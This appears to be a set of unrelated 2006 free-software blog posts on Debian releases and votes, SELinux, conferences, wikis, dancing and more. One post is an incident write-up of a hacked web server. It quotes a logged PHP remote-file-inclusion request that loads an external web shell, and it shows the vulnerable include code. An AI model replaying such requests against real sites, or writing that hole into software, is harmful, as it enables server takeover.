I've been working a little bit more on the folding tagcloud for Debian packages. I've added closing of folds, and the code for displaying selected tags as well as matching packages is in place, too (you'll need to use a different .json data to actually see results though). To make it truly interactive, i.e. allow the selection of multiple tags until you get some results, I need to add more data files. So I'll have to decide now if I'm going to use a CGI (the "traditional" method), which will likely need to have some caching, or if I'll just precalculate everything into static .json files. I could even store them as .gz on the webserver; any browser with ajax capabilities should be able to do gzip decompression on the fly. This would offer maximum performance and security, but it means I'll need more magic in the javascript (and Javascript is ugly). Or I'll do a combination of both, use a tiny CGI serving the precalculated data; the CGI could then easily be replaced with a dynamic-caching CGI later. SVG rendering for the tag cloud would probably be also very cool. With some smart layouting algorithms, it could become much more cloud-like. And there could probably be a nice animation when "subclouds" are unfolded, pusing away the other folds. However, that would be much slower. Any animation means a slowdown, since it adds extra delays.

When Cultural Studies released an issue on intellectual property last spring, I was somewhat annoyed and surprised that the issue was not made more freely available, given the topic of the issue. What was more frustarating was the CS has a lag policy for e-access so they don’t make available, even to subscribing institutions, issues until one year has passed. I think this is just a bad move in this day and age. If you can’t download it, well, you will lose a good percentage of your readership. I even ventured to the library 3x to get the issue but alas, it was out every time. So today I was thrilled to read on Sivacracy that the issue is now available for download. The lineup is great and I look forward to delving in this week.

I've been quiet recently. I spent a week with the cold, then a week being stressed. I'm hoping this week is uneventful. One thing I've been meaning to post about for the past month or so are some positive supplier experiences I've had. Like most people I'm quick to whine when things go wrong and I've had a few things I didn't expect to go smoothly be fine. First up, eBuyer. I mentioned in my initramfs post that I had a disk that had been damaged in transit (according to the manufacturer's diagnostic tool). I wasn't looking forward to trying to return this, as I feared eBuyer would try to weasel out of the RMA. However it all went smoothly. Took them a couple of days to issue the RMA authorisation number, but after that I sent it off including the receipt for the posting and they sent me an email to confirm when they had it and when they sent me out the new one. And credited the postage back to my credit card. I was gobsmacked. I've been using them as a cheap box shifter for a few years and always assumed that the instant I had any problems it would all be pain, but no. It wasn't the quickest of processes, but it did all proceed without me having to chase anyone. Next, Scan. I've hated them for years. Pre 2000 I vowed I'd never use them again for reasons I can't remember. In 2000 I capitulated and ordered a Scan 2000 DVD player from them (which is still going strong). However despite being stiffed £10 for next day delivery it didn't turn up, nor the next day and eventually I had to ring them and find they'd failed to authorise my card and hadn't bothered to contact me. I vowed I'd uphold my pledge never to use them and until recently had done so. And then I needed some 1U heatsinks in a hurry and the initial supplier I'd found were being slow about getting stock. Scan had enough in stock so I decided to risk it. And they turned up next day, with several text messages keeping me informed about progress. I'm won't be using them in general, but I might try them again at some point. Finally, regular readers (all 4 of you) will remember the pain I suffered at the hands of Xinit. Black Cat needed some new dedicated servers and I was having problems finding what I wanted (Xeon LVs for low power usage goodness). Neil had some good things to say about Sentral Systems (well, actually Flexiserv who morphed into Sentral) so I figured I may as well drop them an email. I wasn't really expecting much, so when they got back and said they thought they could do exactly what I wanted within a week I was sceptical. Especially as that was a complete server whereas even looking for the bare chips I was getting quoted lead times of at least 4 weeks. To be honest they didn't manage it in a week - it was more like a week and a half (I think the order was confirmed on a Nonday and delivered Wednesday week later). Damn fine. Plus they kept me informed throughout the process and the one time I considered ringing them to ask what the status was they sent me an email within an hour of me thinking it anyway. The servers are nice and nippy too. :)

I was going to post a larger blog entry, but in the end it comes down to this, my current best hopes for the Debian voting system: That its tendancy to suck everything down into its own little procedural black hole will in the end be harmless. That the pocket universe it has pinched out of Debian is just not my universe, and that my ignoring of it doesn't come back to haunt me.

I doubt the current vote can delay etch when accepted. There are many different GR suggestions out there to get additional exceptions for etch. And there is no dobut at all such expections will get accepted with a gigantic majority.

I see more danger to delay etch when the GR is not accepted but voted down. Then people will have much less ground for what to get exceptions and far less common ground on what to base all the GRs that are to come. And given the large amount of proposals on debian-vote, having many more GR will not help to get etch out.

Also note that if the GR is not accepted, there are many people believing that the current rules still apply and these rules are: source is needed for all bits in the Debian distribution, and much more things has to be ripped out than those misterious 6 months if no additional exceptions are voted on.

If the proposal we are currently voting on (http://www.debian.org/vote/2006/vote_004) would be accepted, this would mean:

• The debian-installer has to be changed prior to release of Etch. This change alone would delay by at least 6 months, according to Joey's estimations.
• Even fonts and videos would fall into the category where we would need source - but what is the source of a font? or a video stream? (and yes, fonts are "works that are executed by other means", i.e. displayed on the screen) That is a great new place for lots of new discussions that don't really help our users, but will definitly waste lots of time.
• We would be in a very bad situation e.g. with the debian-keyring (and all other sort of crypthographic stuff) - I definitly don't plan to distribute the sources for my public key (as the sources can also be used to generate the private key).

In summary, this proposal would delay the release of Etch by at least 6 months, probably even one year. Of course, any of the pending GRs can still overrule the result of this GR, but - that is not something we should be proud about, or even plan. On a personal basis, if this GR becomes effective would also mean that I failed to manage the release of Etch.

When release draws near, more and more difficult decisions arise. Like: should I still upgrade the package to a newer upstream version? Enigma is a great puzzle game, very similar to Oxyd. Back when still using my trusty old Atari ST, I was a fan of oxyd. Debian unstable currenlty has Enigma 0.92, the latest released version. Experimental contains recent SVN snapshots of the game. Version 0.92 was released in 2005, and there have been huge improvements to Enigma in the mean time, including a new level form (XML-based, while the levels used to be lua scripts), a reorganization of the levels into level packs with increasing difficulty, tons of new levels and graphics for 1024x768. While the new versions are running quite stable, and a new release is expected for end of the year, it will probably be not on time for etch. So should I upload a SVN checkout to unstable (and eventuall etch) - I didn't receive bug reports for the experimental version so far, and enigma has shown before to be of high code quality - or stay with the latest released version? "Life" would be easier if enigma released a new version just in time for etch. ;-) Just kidding. I'd certainly prefer the new version; and while there are some known issues with it (a conflict between C++ exception handling and lua when nesting), these might as well apply to the current version. (For example, the screensaver tends to turn on while playing enigma, but upstream said this is actually a SDL issue, and it should apply to both versions) Maybe some people can test the enigma package from experimental and send me feedback reports. But don't blame me if you lose valueable hours of sleeping time by playing enigma. It can be quite addictive.

The horror of providing full SELinux support out of the box are install scripts. Installing files of a package is rather easy. Install them, relabel them. This can be added to the package manager. (And I believe dpkg already does that). However, package install scripts are becoming more and more complex, and they aren't SELinux aware. And there is a lot of stuff that can go wrong here. For example, a package might want to generate a configuration file for the service you just installed. If this configuration file is to have the same context as the directory containing the configuration file, there won't be a problem - but if it's to have a different context, the generated file will be incorrectly labeled. I see two basic solutions to this:

• require by policy all package install scripts to register all files they created (and the registration application could then take care of the appropriate file labeling) - but this will take a long time to be adopted by all packages
• monitor package install scripts for file creation, and relabel them automatically. However, many install scripts will also start the service the package contains; monitoring shouldn't extend to them, so I doubt this will actually work, and still problems might arise to delays in relabeling

Any other smart solution for these problems? Sometimes I wish we could do without turing-complete postinst scripts...

This weekend I was in Sydney for Ruxcon. Ruxcon is a computer security conference with a focus on penetration testing and related skills.

The presentation on Unusual Bugs by Ilya van Sprudel was particularly interesting. He spoke about a number of issues that could do with some improvement in Linux, I will file some bug reports shortly.

There was a chilli eating contest. I was one of six people to enter. I survived the first two rounds and got onto the middle-strength chilli before giving up. There were 100 tickets to the Google party for the ~200 person conference and everyone who entered a contest got a ticket. My aim in the contest was to eat more chilli than I enjoy eating but less than the amount required to make me sick, with a secondary goal of tasting at least the second level of chilli. I achieved my goals and left the contest after tasting the second chilli.

One man appeared to be impressed by my chilli eating and was telling everyone that I am famous for eating chilli. It's good to be famous for something in the computer security community. :-#

At the end of the conference there was a panel discussion that I was invited to attend. I had to leave early to catch my flight, at the time I left everyone who was on the panel had each finished a few drinks and a couple of new guys had just joined. I think I missed the most exciting part of the panel discussion.

Thanks to whoever paid for the drinks for panel members. Things were a little hectic when we were given the drinks and I forgot to thank whoever paid for them.

In other news Sydney trains are slow and unreasonably expensive, $13 to get from the airport to the SLUG meeting at St. Leonards seems excessive. With all the problems with Sydney roads they really need to get a better public transport system!

While in Sydney I attended a SLUG meeting and gave a short talk about Postal (my mail server benchmark suite). I will present a paper about Postal at the OSDC conference later this year.

I've been a bit busy lately, so I've only now skimmed through my linux-aus backlog, as well has had time to put some thoughts together on the whole AUUG/LA thing. I will point out that I had a similar rant back in July last year, and a lot of what I said then still holds true. So one of the problems is we seem to have too many organisations. OSIA, AUUG, LA, SAGE-AU, ACS, to name a few. They've all got a bit of overlap. They've all got different names (well duh) that imply different things. So AUUG, as the Australian Unix Users Group, is losing is relevance. So much so, that the "About AUUG" page doesn't even discuss what the hell the acronym stands for. Somewhere along the line, they've adopting the tag line of "the Organisation for Unix, Linux and Open Source professionals". So they're clearing still trying to remain a "professional" body. As is SAGE-AU. Clearly with a name like the System Administrator's Guild of Australia, it's obvious what demographic this organisation is for. Now of course a lot this organisation's members are going to be administering Linux. You could also argue they're using it as well. SAGE-AU is operating-system agnostic though, and doesn't really get all community about the operating systems its members administer. Which leads us to Linux Australia. An organisation that (at least in my opinion) that is more about the community around the operating system than anything else. And in this case, by operating system, I'm talking about a lot more than just the kernel. OSIA, on the other hand, is an organisation I haven't heard a lot about, and know even less about. The name though, pretty clearly suggests what they're on about. If OSIA didn't look like it was more about corporate members than individuals, I'd be saying that this is where a large chunk of AUUG members should go, if AUUG were to fold. It does leave a certain demographic out in the cold: ISVs that make closed-source software for Unix and Linux. Since, for example, CheckPoint seem to be sponsoring the AUUG conference, they obviously feel that they have some sort of affinity with the organisation. Finally, there's ACS. Another organisation I don't know a lot about. I would think that maybe this could be another potential destination for AUUG members if it were to fold. Back to Linux Australia, and whether that name is the best thing for the organisation. I personally think it is not. Linux Australia is way more about F/LOSS evangelisation and the community that exists around that, than anything else. To a lesser degree, it tries to act as the "mother LUG" of all the Linux User Groups around the country, but given the loose structure of the LUGs, this is more of an assumed position than anything else. So what to call LA instead? Steal AUUG's tag line? "The Australian Linux and Open Source Community Group (ALOSCG)"? "The Australian Linux and Free Software Community Organisation (ALFSCO)"? Hmm, the second one could be mutated in "Alfresco". Cute. Funnily enough, the same arguments apply to renaming linux.conf.au, however I'm not in favour of that. I agree with what Maddog said on the linux-aus list, about it being easier for sponsors to identify with something more specific like "Linux" than something more amorphous like "Free and Open Source software". I also think linux.conf.au has a pretty strong brand associated with it. Finally, I want to bang the drum for organisational change. There was some discussion about membership tiers. I think this is a good idea. I think having paid members (and some member services) would be good. It would provide Linux Australia with an additional revenue stream, and it would allow it to provide something to its members. If there was a membership structure like "student" (which would be free), "associate" (paid, but cheap) and "professional" (paid, but slightly more expensive), you could allow all categories to vote, but give the paid members some additional services like a sticky email address, dynamic DNS hostname, maybe if LA got direct sponsors, the sponsor organisations could provide discounts to members like what SAGE-AU does. I also think that if LA were to employ a full or part-time administrative person (like SAGE-AU did until recently) would also be beneficial. This person could do heaps of administrative stuff and coordination for the organisation, as well as be a resource for the linux.conf.au organisers, and be cheaper than having to pay an Executive President or something like that. it would allow for the organisation to go to the next level, and be a little less amorphous and have a tangible existence.

My second release as bzr release manager is over - 0.11 is released. John A Meinel will be doing the 0.12 release - and it looks to be a cracker!

After two years of using lkwiki, an old kwiki version that was extended to support full LaTeX documents to be managed and to store it's information in subversion, it is time for a rewrite. This week, I built the basic working foundation, in time for the new term at my University in Karlsruhe, but hopefully also for other people to use. So hereby, I announce:Latexki consists of two parts: The latexki binary, written in Haskell, is called by subversion after a commit and generates the static wiki pages (both text and LaTeX-based). It only updates what's needed (since running latex is expensive), but tracks dependencies like \input in LaTeX. The other, actually optional, part is a CGI script written in python which provides simple write-access to the subversion repository and which should handle conflicts with the same grace as subversion itself.Some, especially the planet.debian.org readers, will now immediatelly say that this is the same idea as Joey's ikiwiki and that I should just have extended his software. Now, I had the idea independently (after all, lkwiki works like this for two years now), and while ikiwiki is more a general purpose wiki, I wanted to create a tool specifically tailored for the collaborative management of LaTeX documents, the text pages are just side-play. Also, I wanted to to my own thing to use the subversion bindings to access the repository directly, without the need of a working copy, for the edits. It turned out that with pysvn, this is not possible, but at least I don't have to call the svn binary and using temporary directories for the working directory should be a clean solution.While the code is basically working, it still needs some testing. I'm also very eager to hear comments about the code itself, especially from a security point of view, but also from a "how to this nicer in haskell" point of view. You can find the code on the wiki itself, as all non-wiki, non-latex files are just wrapped in <pre> and put on their own page. Also, the TODO list is long. Patches are welcome, and if you want to use the software yourself, I'll help with any deployment problems.To the lkwiki users: I plan to switch the lkwiki repository to latexki before the semester starts. Some files will have to be renamed, and some detail code to be written. Feel free to test the latexki code to make sure we don't have problems then.

I happen to have my own root server, and since there are always resources left, I did not mind hosting some other people's pages as well. I especially offer all the final classes of my school to host their website, to keep up a consistent domain naming scheme, starting with my own class page, http://04.abi-sgh.de/. This was a nice services to the following classes, as the amout of pictures such a class generates usually exeeds regular hosting constraints. Custom programmed websites, like mine and some more, are nice too.Now, today, my web server was not running. I tried to restart it, but port 443 was used, and I thought: "WTF"? netstat showed my a process with the strange name of "mysqld_" sitting on that port. ls -l /proc/.../cmd showed a binary named "httpd" in a path "/var/www/...(very deep)/.../.ssh/". Now it dawned me: Someone hacked my server.A quick "ls -l" in that directory indicated that it was done as the www-data server, and probably no root was gained. There were also two DVD rips laying around, so my server seemd to have been turned in to a movie sharing platform. The "httpd" binary, as "strings" confirmed, is a IRC-fileshareing server called iroffer, and a tool to hide processes was in that directory too.Luckily, the attackers did not hide their traces too well. The date of the "..." directory gave me the exact time of the attack, and around that time, entries like this one appeared in the access.log:

62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/
cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224
"http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?&
action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1

Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.

Reading about the future of the (now) Adobe Flash Player plugin for Linux on the Penguin.SWF blog, I came to the conclusion that the plugin API for browsers (NP Runtime) just sucks.
Why on earth do a plugin need to depend on openssl, while the browser already deals with SSL and associated certificates. That also means plugins will deal very badly with client-side certificates.
I guess plugins also have to implement HTTP requests themselves…

Swing dancing (i.e. Lindy Hop, Balboa, Boogie Woogie) is my big hobby these days. It started with Rock'n'Roll dancing some years ago, and when I was in Berkeley I picked up some Lindy. Since February I've been going to social lindy dancing every couple of weeks. This month I've become a member of Boogie Bären (yes, that is "boogie bears"), a Munich dance club, and started taking classes in Lindy Hop, Boogie and Balboa every week, in addition to my usual lindy social dancing on sunday. Right now I'm right in an "extreme dancing" phase. It started tuesday with the Lindy classes (yes, both of them, over 3 hours), followed by the boogie beginners class on wednesday and the balboa beginners class on thursday. Friday there was a great balboa and swing party in a bar, with top attendees: the teachers of the workshops on saturday and sunday (which I have attended and will continue to attend tomorrow), Andy & Christelle from Lyon and Marty & Valerie from Cleveland. They've been great teachers so far, and their skills are very impressive. And they showed us some really cute moves. After the second half of the workshop on sunday, there will be social lindy dancing in the evening again, monday evening there is swing dancing in another bar in Munich [Update: with live music, Route 66, in addition to the usual singing DJ], tuesday will likely feature a liveband and boogie dancing (it's a holiday, so no regular lindy classes that day), followed again by boogie beginners course on wednesday, balboa class on thursday, maybe balboa and swing dancing in a bar on friday. Maybe I'll then watch the German championships in Boogie Woogie and Rock'n'Roll on saturday, social dancing on sunday and monday again, and so on. It's getting somewhat out of hand, as you can see. I should focus more on my diploma thesis instead... so I'll skip saturday. ;-) [Update: did I mention that Munich has a fantastic Lindy/Balboa scene? Upcoming events include a big balboa weekend 11./12. november, the new years swing ball and the Rock that swing festival in February.]

Tomorrow, Sunday the 1st of October, I'll be at the openexp event to talk about Hecl. Hopefully I'll also get a chance to catch up with various people in the Italian open source scene who will likely be there.

I mentioned OpenSearch a few days ago. I've been working on getting it implemented for Wikitravel, based on the great extension written by Gregory Szorc. Well, just as I get it finished and submitted to A9, they've redesigned their site, and now the Wikitravel search option is much harder to find. It does work, though. Another thing I found interesting was experimenting with the OpenSearch support in Firefox 2.0rc1. I was getting weird errors with it, but thanks to a helping hand from folks in #addons, I got the scoop. Hopefully Wikitravel will be OpenSearch-enabled sometime today. Interestingly, in the A9 redesign, they moved http://opensearch.a9.com/, with the OpenSearch plugin enabled! tags: opensearch mediawiki a9 firefox firefox2

Its the close of September. And just a week ago I turned 16: in hex, that is. Although I do distinctly remember how I wished coming back to being a 16-decimal-year-old then… So, how does it feel being one? I’ve barely begun to feel it. There has been a lot of distractions to keep me from contemplating too much about $age:

• School: Its almost out. Today we’re supposed to have our finals, but due to the wake of the super-typhoon that hit Manila a couple of days ago, the admins moved the exams to next Saturday. Yay!!!
• Work: Since the beginning of September, I have taken up work as a guest Software Engineer for Orange & Bronze Software Labs. Their mightly SABDFL, Calen Legaspi, has been working me up to join his company since he first heard of me last June (I think,) thanks to Charo and Ealden who at the time were regulars at #ubuntu-ph. Last August, I got a call from Dean, and getting me interested in doing a C++ project for the company. Well, needless to say, after learning lots about Perl and software development in general playing Sendpage on the SoC, I decided to jump in for a 3-month stint: now that my first month’s up, and we’re in a bit of a jam thanks to some force majeure, I hope we do kick out something by the first week of October (and have an Oktoberfest even…)
• Play: Also at the start of the month did I get my very own laptop, thanks to Google from my SoC work: an MSI MegaBook S262, which looks so much like a MacBook, but really much powerful than what Apple’s offering: Core Duo processor, 1 GB DDR2, 80GB PATA, SuperMulti DVD, WiFi and LAN, all of which work wonderfully in Kubuntu and Sarge. And the hardware’s mighty upgradeable, too… Now, I am finding myself mall-hoping Metro Manila in hopes of finding decent free WiFi, hehe…
• Politics: There’s some mighty talk going on in the PLUG mailing list about the FOSS bill proposed by a allegedly-communist party in the House of Representatives. While I think its quite laudable to have Free Software finally getting some real legislative attention, my apprehensions about the trustworthiness of the current administration is getting the better of me. That, as well as my fears about the pushing party’s own agenda about the matter, have been keeping me on a rather cautionary stance, since being a FOSS developer myself, a lot of what the current draft presents will directly affect how FOSS will grow here in the Philippines. Hopefully, once this passes, the FOSS bill ought to be a stimulator for Philippine growth, and not become just another fancy way for congressmen to get more pork…

That’s just the tip of the iceberg. Moving back to Manila again has its own issues; I still have to look for a better place to stay (not that I’m complaining about my Tita’s place in Malate, but hey, we’re already overcrowded… I suppose I’ll get my own flat once I think I can stay out beyond the 3 months,) and I have to get better internet connectivity (all the better for my chroots to keep updated, and finally get back on the Debian/Ubuntu packaging scene.) I also have to find some time to get a passport, a haircut, some nice pair of sneakers, and a Wii. I’ve yet to know what this being 0×16 business is all about, but this I have to say: Thanks $DEITY for all the fish.

There are some good comments on the Borsook piece, that rightly point out that the silences to speak of failure were perhaps more of a function of the moment she was doing the research (it just was too early to uncover it) and not necessarily due to a deep culture of shame that permeates high powered Silicon Valley executives (though I like the idea of the later for some reason ) Josh Greenburg also provided a link to the The dotcom archive, which collects the stories of that time period. Really, we are in the age of the archive, aren’t we? Stilt it seems more than ever worth exploring what silences are built into these archives, especially since everything appears to be so accessible and transparent. This discussion also raises the interesting point, however, of the importance of time and distance to assess the significance of economic trends, new technologies etc. Recently I did a few media interviews with Canadian journalists on the impact of new technologies on political campaigns and advertising. While I have some thoughts on it and it is possible (and important) to think about these topics, my initial reaction is to be highly qualified and cautious because things are too emergent to really say anything firm. I want to tell them, so give me a call back in like.. 5 years and I may have something to say… It is like one of my advisers at University of Chicago said, now that we have pervasive Internet shopping, it is now the perfect time to really understand the significance of the mall… And by unearthing objects of the past, it will help us ground understandings of the present.